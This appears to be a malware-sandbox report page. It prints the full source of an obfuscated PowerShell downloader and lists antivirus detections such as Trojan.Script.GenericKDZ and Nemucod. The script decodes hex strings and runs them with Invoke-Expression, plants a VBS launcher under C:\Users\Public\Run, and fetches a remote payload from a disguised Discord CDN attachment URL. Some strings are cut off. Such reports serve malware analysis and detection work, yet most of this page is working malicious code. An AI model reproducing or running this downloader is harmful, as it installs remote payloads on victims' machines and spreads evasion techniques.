Static | ZeroBOX
No static analysis available.
$aa = "24:-:46:-:56:-:59:-:54:-:46:-:59:-:54:-:46:-:59:-:46:-:59:-:46:-:59:-:46:-:59:-:46:-:47:-:59:-:3d:-:22:-:43:-:3a:-:5c:-:55:-:73:-:54:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:55:-:43:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:54:-:43:-:52:-:59:-:54:-:55:-:59:-:69:-:63:-:5c:-:52:-:75:-:6e:-:22:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:22:-:54:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:55:-:43:-:52:-:59:-:43:-:54:-:55:-:56:-:59:-:49:-:42:-:54:-:43:-:52:-:59:-:54:-:55:-:59:-:22:-:2c:-:22:-:65:-:72:-:73:-:5c:-:50:-:75:-:62:-:6c:-:22:-:29:-:0a:-:24:-:59:-:47:-:55:-:59:-:47:-:4e:-:55:-:48:-:59:-:47:-:55:-:59:-:47:-:59:-:55:-:47:-:59:-:47:-:55:-:59:-:47:-:59:-:55:-:47:-:20:-:3d:-:20:-:22:-:43:-:72:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:6f:-:72:-:79:-:22:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:22:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:23:-:22:-:2c
$bb = $aa -split ':-:' |ForEach-Object {[char][byte]"0x$_"}
$cc = $bb -join ''
Invoke-Expression $cc
start-sleep -s 7
$Content = @'
Set LLLLLLLLLLLL = CreateObject("WScript.Shell")
LLLL = "OwerSheL"
LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL = "P"+LLLL+"L "
LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL = "$SZXDCFVGBHNJSDFGH = 'https://cdnHHHHHHHHHHHHHdiscordappHHHHHHHHHHHHHcom/attachments/851105085270523917/893526177866743838/SegHHHHHHHHHHHHHtxt'.Replace('HHHHHHHHHHHHH','.');$SOS='%!HHHHHHHHHHH!5HHHHHHHHHHH!!HHHHHHHHHHH5%HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!eHHHHHHHHHHH!aHHHHHHHHHHH!dHHHHHHHHHHH!bHHHHHHHHHHH!!HHHHHHHHHHH!5HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!aHHHHHHHHHHH%0HHHHHHHHHHH3dHHHHHHHHHHH%0HHHHHHHHHHH%7HHHHHHHHHHH*eHHHHHHHHHHH!5HHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH!5HHHHHHHHHHH*%HHHHHHHHHHH!3HHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH5!HHHHHHHHHHH%7HHHHHHHHHHH%eHHHHHHHHHHH5%HHHHH
LLLLLLLLLLLL.Run(LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL+LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL+""),0,True
Set LLLLLLLLLLLL = Nothing
Set-Content -Path C:\Users\Public\Run\New.vbs -Value $Content
start-sleep -s 7
$SZXDCFVGBHNJSDFGH = 'https://cdnHHHHHHHHHHHHHdiscordappHHHHHHHHHHHHHcom/attachments/851105085270523917/893526177866743838/SegHHHHHHHHHHHHHtxt'.Replace('HHHHHHHHHHHHH','.');
$HHHHHHHHHHHHHHHHHH = "24:-:45:-:44:-:52:-:46:-:47:-:48:-:4e:-:4a:-:4d:-:4b:-:44:-:45:-:46:-:47:-:48:-:4a:-:20:-:3d:-:20:-:27:-:6e:-:45:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:45:-:62:-:43:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:54:-:27:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:27:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:2d:-:27:-:2c:-:27:-:74:-:2e:-:57:-:27:-:29:-:2e:-:52:-:65:-:70:-:6c:-:61:-:63:-:65:-:28:-:27:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:2b:-:27:-:2c:-:27:-:6c:-:49:-:45:-:4e:-:27:-:29:-:3b:-:0a:-:24:-:53:-:58:-:44:-:43:-:46:-:56:-:47:-:42:-:48:-:4e:-:4a:-:58:-:44:-:43:-:46:-:56:-:47:-:42:-:48:-:4a:-:4b:-:20:-:3d:-:20:-:27:-:44:-:4f:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:2a:-:61:-:44:-:53:-:54:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3c:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:3e:-:47:-:27:-:2e:-:52:-:6
$BBBBBBBBBBBBBBBBBB = $HHHHHHHHHHHHHHHHHH -split ':-:' |ForEach-Object {[char][byte]"0x$_"}
$HHHHHHHHHHHBBBBBBBBBAAAAAAAARRRRRRRRR = $BBBBBBBBBBBBBBBBBB -join ''
Invoke-Expression $HHHHHHHHHHHBBBBBBBBBAAAAAAAARRRRRRRRR
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Trojan.Script.GenericKDZ.3517
FireEye Trojan.Script.GenericKDZ.3517
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
Baidu Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Ps1.Downloader.Generic-9893341-0
Kaspersky Clean
BitDefender Trojan.Script.GenericKDZ.3517
NANO-Antivirus Clean
ViRobot Clean
Rising Clean
Ad-Aware Trojan.Script.GenericKDZ.3517
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb PowerShell.DownLoader.1457
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Trojan.Script.GenericKDZ.3517 (B)
Ikarus Trojan-Downloader.VBS.Nemucod
GData Trojan.Script.GenericKDZ.3517
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Cynet Clean
AhnLab-V3 Clean
VBA32 Clean
ALYac Trojan.Script.GenericKDZ.3517
MAX malware (ai score=88)
Zoner Clean
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.